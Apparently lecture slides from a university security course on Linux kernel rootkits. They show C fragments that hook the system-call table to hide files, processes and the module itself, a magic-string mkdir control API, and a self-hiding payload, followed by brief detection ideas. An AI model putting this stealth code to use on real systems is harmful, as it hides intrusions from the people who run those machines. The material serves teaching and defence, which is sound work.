

Rootkits and Shadows

Ninjas in the Kernel



Ian Pudney Austin Yarger
EECS 588

Act I

**So you want to be
a ninja...**

Question : What makes a good Ninja?

- ???
- ???
- ???
- ???



Question : What makes a good Ninja?

- Invisible
- Actions untraceable
- Powerful + On the attack
- Domain / Site knowledge



Question : What makes a good ROOTKIT?

- **Invisible**
 - Hides itself.
 - Hides other programs.
- **Actions untraceable**
 - Erases footprints.
- **Powerful + On the attack**
 - Applies **Root** privileges
- **Domain / Site knowledge**
 - Doesn't kill the computer



Question : What makes a good ROOTKIT?

- **Invisible**
 - Hides itself.
 - Hides other programs.
- **Actions untraceable**
 - Erases footprints.
- **Powerful + On the attack**
 - Applies *Root* privileges.





2005:

- Installed w/out permission to prevent copying
- Polled task list, killing processes via blacklist
- Poor security design. Introduced vulns into kernel.



Mark Russinovich

SONY & BMG

MUSIC ENTERTAINMENT

2005:

- Installed w/out permission to prevent copying
- Polled task list, killing processes via blacklist
- Poor security design. Introduced vulns into kernel.
- Utterly ineffective



Mark Russinovich



LKMs

Loadable Kernel Modules

- Driver Software
- No Reboot Necessary
- Kernel Space
- Root Privilege



All you need is ROOT for install

LKM Source

```
13  int init_module()
14  {
15      printk(KERN_INFO "HELLO Kernel!\n");
16      return 0;
17  }
18
19  int cleanup_module()
20  {
21      return 0;
22  }
```

Challenges

- “No” STL allowed
- kmalloc(...)
- printk(...)
- bug = black screen
or freezes
or accumulating lag
or race conditions
or permanent memory
leaks

LKM Installation

```
neffie@neffie-VirtualBox:~/eecs588_rootkit$ ls *.ko  
attack_module.ko
```

```
1 // Install  
2 // sudo insmod ./<module_file>  
3  
4 // Uninstall:  
5 // sudo rmmod <module_name>  
6  
7 // View module logs:  
8 // dmesg  
9  
10 // View active modules:  
11 // lsmod
```

```
[56486.052062] e1000: eth0 NIC Link is Down  
[56490.062519] e1000: eth0 NIC Link is Up 1000  
[57746.742435] e1000: eth0 NIC Link is Down  
[57750.750507] e1000: eth0 NIC Link is Up 1000  
[57754.758096] e1000: eth0 NIC Link is Down  
[57758.766381] e1000: eth0 NIC Link is Up 1000  
[57845.906519] Hello Kernel!  
neffie@neffie-VirtualBox:~/eecs588_rootkit$
```


Act II

The First Lesson

Act III

Behind the Curtain

Kernel Security



- Isolation
- Restricted Assembly Instructions, Memory
- Atomicity

Interrupts

256

Interrupt Vector Table

0 - 31	Division by zero, Breakpoint, Invalid opcode, etc.
32 - 127	Device Interrupts (hardware I/O)
128	
...	

- Interrupt Vector Table
- Interrupts grant access to higher rings, jump to code
- Limited Number

Interrupts

Interrupt Vector Table

0 - 31	Division by zero, Breakpoint, Invalid opcode, etc.
32 - 127	Device Interrupts (hardware I/O)
128	System Calls
...	

System Calls

Interrupt Vector Table

0 - 31	Division by zero, Breakpoint, Invalid opcode, etc.
32 - 127	Device Interrupts (hardware I/O)
128	System Calls
...	

sys_call_table

0	read
1	write
2	open
3	close
...	
78	getdents
...	
83	mkdir
...	

- Second level of indirection
- 300 System Calls

System Calls

Interrupt Vector Table

0 - 31	Division by zero, Breakpoint, Invalid opcode, etc.
--------	---

sys_call_table

0	read
1	write
2	open
3	close
...	

- Second level of indirection
- 300 System Calls

```
void* sys_call_table = 0xffffffff81801460;
```

25

32 - 127	Device Interrupts (hardware I/O)
128	System Calls
...	

78	getdents
...	
83	mkdir
...	

System Calls

```
void* sys_call_table = 0xffffffff81801460;  
sys_call_table[SYS_mkdir] = mkdirShim;
```

- The system call we want to replace

- Our system call

Attacking “ls”

Hiding the payload executable, startup script

```
#define SYS_getdents
```

78

```
int getdentsShim(int fd, char* buf, int BUF_SIZE)
```

- “Get directory entries”
- Used by `ls` to read a directory

Attacking “ls”

Evil directory read system call

```
int getdentsShim(int fd, char* buf, int BUF_SIZE) {
    int nread;
    char filepath[255];

    nread = ((SYS_getdents_type)backup_sys_call_table[SYS_getdents])(fd, buf, BUF_SIZE);
    if (nread <= 0) {
        return nread;
    }

    get_path_via_fd(fd, filepath, sizeof(filepath)); //get directory's path
    hidenames(buf, &nread, filepath, BUF_SIZE); //iterates through the buffer
                                                //deletes any entries we don't want

    return nread;
}
```

Attacking “ps”

Hiding the running process

- The `ps` command works by reading the `/proc` directory
- Same `getdents` call!

```
neffie@neffie-VirtualBox:~/kmod$ ls /proc
```

1	1328	1435	1559	1818	2097	444	744
10	1331	1438	1569	1822	21	45	748
1004	1332	1440	1571	1830	2106	46	75
1016	1337	1443	16	1868	2149	47	755
11	1338	1447	1638	1881	2152	48	756
12	134	1450	1662	19	22	49	759
1208	135	1451	1663	1901	23	5	76
121	1356	1453	1664	1908	24	50	8
1218	136	1465	17	1909	25	55	820
122	1367	1468	1723	1942	259	564	850
1228	1370	1496	1731	1953	26	594	853
123	1386	15	1736	1978	264	6	871
1233	14	1534	1740	1993	27	616	886
1234	1404	1540	1745	1998	28	629	898
1238	1406	1542	1756	2	29	656	9
125	1408	1543	1776	20	3	665	906
13	1410	1545	1798	2004	31	674	923
1318	1425	1546	18	2015	32	692	951

Attacking “ps”

Hiding the running process

- The `ps` command works by reading the `/proc` directory
- Same `getdents` call!

```
neffie@neffie-VirtualBox:~/kmod$ ps
```

PID	TTY	TIME	CMD
1909	pts/2	00:00:00	bash
2097	pts/2	00:00:00	bash
2149	pts/2	00:00:00	tail

```
neffie@neffie-VirtualBox:~/kmod$ ls /proc
```

1	1328	1435	1559	1818	2097	444	744
10	1331	1438	1569	1822	21	45	748
1004	1332	1440	1571	1830	2106	46	75
1016	1337	1443	16	1868	2149	47	755
11	1338	1447	1638	1881	2152	48	756
12	134	1450	1662	19	22	49	759
1208	135	1451	1663	1901	23	5	76
121	1356	1453	1664	1908	24	50	8
1218	136	1465	17	1909	25	55	820
122	1367	1468	1723	1942	259	564	850
1228	1370	1496	1731	1953	26	594	853
123	1386	15	1736	1978	264	6	871
1233	14	1534	1740	1993	27	616	886
1234	1404	1540	1745	1998	28	629	898
1238	1406	1542	1756	2	29	656	9
125	1408	1543	1776	20	3	665	906
13	1410	1545	1798	2004	31	674	923
1318	1425	1546	18	2015	32	692	951

Attacking “lsmod”

Hiding our kernel module

- `lsmod` will list installed kernel modules

- That looks suspicious...

```
neffie@neffie-VirtualBox:~/kmod$ lsmod
Module                  Size  Used by
attack_module           16384  0
nls_utf8                16384  1
iso9660                 40960  1
vboxsf                  40960  1
bnep                    20480  2
rfcomm                  69632  0
bluetooth               491520 10 bnep,rfcomm
snd_intel8x0             40960  2
snd_ac97_codec           131072 1 snd_intel8x0
ac97_bus                 16384  1 snd_ac97_codec
snd_pcm                  106496 2 snd_ac97_codec,snd_intel8x0
```


Attacking “lsmod”

How the kernel removes modules

```
static void free_module(struct module *mod)
{
    trace_module_free(mod);

    mod_sysfs_tearardown(mod);

    /* We leave it in list to prevent duplicate loads, but make sure
     * that noone uses it while it's being deconstructed. */
    mutex_lock(&module_mutex);
    mod->state = MODULE_STATE_UNFORMED;
    mutex_unlock(&module_mutex);

    /* Remove dynamic debug info */
    ddebug_remove_module(mod->name);

    /* Arch-specific cleanup. */
    module_arch_cleanup(mod);

    /* Module unload stuff */
    module_unload_free(mod);

    /* Free any allocated parameters. */
    destroy_params(mod->kp, mod->num_kp);

    /* Free any allocated parameters. */
    destroy_params(mod->kp, mod->num_kp);

    /* Now we can delete it from the lists */
    mutex_lock(&module_mutex);
    /* Unlink carefully: kallsyms could be walking list. */
    list_del_rcu(&mod->list);
    /* Remove this module from bug list, this uses list_del_rcu */
    module_bug_cleanup(mod);

    unset_module_init_ro_nx(mod);
    module_arch_freeing_init(mod);
    module_memfree(mod->module_init);
    kfree(mod->args);
    percpu_modfree(mod);

    /* Free lock-classes: */
    lockdep_free_key_range(mod->module_core, mod->core_size);

    /* Finally, free the core (containing the module structure) */
    unset_module_core_ro_nx(mod);
    module_memfree(mod->module_core);
}
```

Attacking “lsmod”

How the kernel removes modules

```
static void free_module(struct module *mod)
{
    trace_module_free(mod);

    mod_sysfs_tearardown(mod);

    /* We leave it in list to prevent duplicate loads, but make sure
     * that noone uses it while it's being deconstructed. */
    mutex_lock(&module_mutex);
    mod->state = MODULE_STATE_UNFORMED;
    mutex_unlock(&module_mutex);

    /* Remove dynamic debug info */
    ddebug_remove_module(mod->name);

    /* Arch-specific cleanup. */
    module_arch_cleanup(mod);

    /* Module unload stuff */
    module_unload_free(mod);

    /* Free any allocated parameters. */
    destroy_params(mod->kp, mod->num_kp);

    /* Free any allocated parameters. */
    destroy_params(mod->kp, mod->num_kp);

    /* Now we can delete it from the lists */
    mutex_lock(&module_mutex);
    /* Unlink carefully: kallsyms could be walking list. */
    list_del_rcu(&mod->list);
    /* Remove this module from bug list, this uses list_del_rcu */
    module_bug_cleanup(mod);

    unset_module_init_ro_nx(mod);
    module_arch_freeing_init(mod);
    module_memfree(mod->module_init);
    kfree(mod->args);
    percpu_modfree(mod);

    /* Free lock-classes: */
    lockdep_free_key_range(mod->module_core, mod->core_size);

    /* Finally, free the core (containing the module structure) */
    unset_module_core_ro_nx(mod);
    module_memfree(mod->module_core);
}
```

Attacking “lsmod”

We “remove” our module

```
preempt_disable();
this_mod = find_module("attack_module");
if (this_mod) {
    list_del_rcu(&this_mod->list); //remove from linked list
}
preempt_enable();
```

Attacking “lsmod”

We “remove” our module

```
preempt_disable();  
this_mod = find_module("attack_module");  
if (this_mod) {  
    list_del_rcu(&this_mod->list); //remove from linked list  
}  
preempt_enable();
```

```
neffie@neffie-VirtualBox:~/kmod$ sudo insmod attack_module.ko  
neffie@neffie-VirtualBox:~/kmod$ lsmod  
Module                Size  Used by  
nls_utf8               16384   1  
isofs                 40960   1  
vboxsf                40960   1
```

Attacking “lsmod”

An alternative approach

- The lsmod command works by opening the /proc/modules file
- When that file is opened, redirect the file descriptor to a different file

```
int openShim(char *filename, int flags, umode_t mode) {
    int ret;
    mm_segment_t old_fs;

    //redirect /proc/modules
    if (!strcmp(filename, "/proc/modules")) {
        old_fs = get_fs();
        set_fs(KERNEL_DS); //disable user-space memory protection
        ret = ((SYS_open_type)backup_sys_call_table[SYS_open])(secret_procmods_name, flags, mode);
        set_fs(old_fs);
        return ret;
    }
}
```


The API: mkdir

How the module knows what to do

- Magic strings!

```
char* secret_api_print = "VYoXBSfQXuYfWhHVrCRU";  
char* secret_api_deactivate = "KApazcsgjSSpyTTjINKu";  
char* secret_api_hidepath = "DZESINYKneCVwRyLpSeA";  
char* secret_api_hidepid = "YrrPhqLeBCjufLuFYacD";
```

```
int mkdirShim(char* path) {  
    //if the path begins with a secret API string, pass it to the appropriate handler.  
    if (strnstrn(path, strlen(path), 20), secret_api_print, 20)) {  
        return printApiHandler(path + 20);  
    }  
    else if (strnstrn(path, strlen(path), 20), secret_api_deactivate, 20)) {  
        return deactivateApiHandler();  
    }  
    else if (strnstrn(path, strlen(path), 20), secret_api_hidepath, 20)) {  
        return hideDirectoryApiHandler(path + 20);  
    }  
    else if (strnstrn(path, strlen(path), 20), secret_api_hidepid, 20)) {  
        return hidePidApiHandler(path + 20);  
    }  
    return ((SYS_mkdir_type)backup_sys_call_table[SYS_mkdir])(path);  
}
```

The API: mkdir

The payload

- Magic strings!

```
int hidepid(string path) {
    path = string(secret_api_hidepid) + path;
    return syscall(SYS_mkdir, path.c_str());
}

int hidepath(string path) {
    return syscall(SYS_mkdir, (string(secret_api_hidepath) + path).c_str());
}

int main() {
    hidepid(getPID());           //hide payload process
    hidepath(secret_ko_name);    //hide module file
    hidepath(secret_payload_name); //hide payload file
    hidepath(secret_conf_name);  //hide startup script
}
```

Act IV

Return of the Samurai

Defenses

- **Careful timing analysis**

Commands like mkdir will take slightly longer when infected.

- Kernel-memory fingerprints

Modification of the syscall table = warning sign.

Hypervisor plunge : The OS trapped the Matrix

Hard to know you're in a VM.

Lessons

- Hard to detect a good rootkit.
- 3rd parties wield incredible power when you trust their drivers.



Thank you!

Questions?

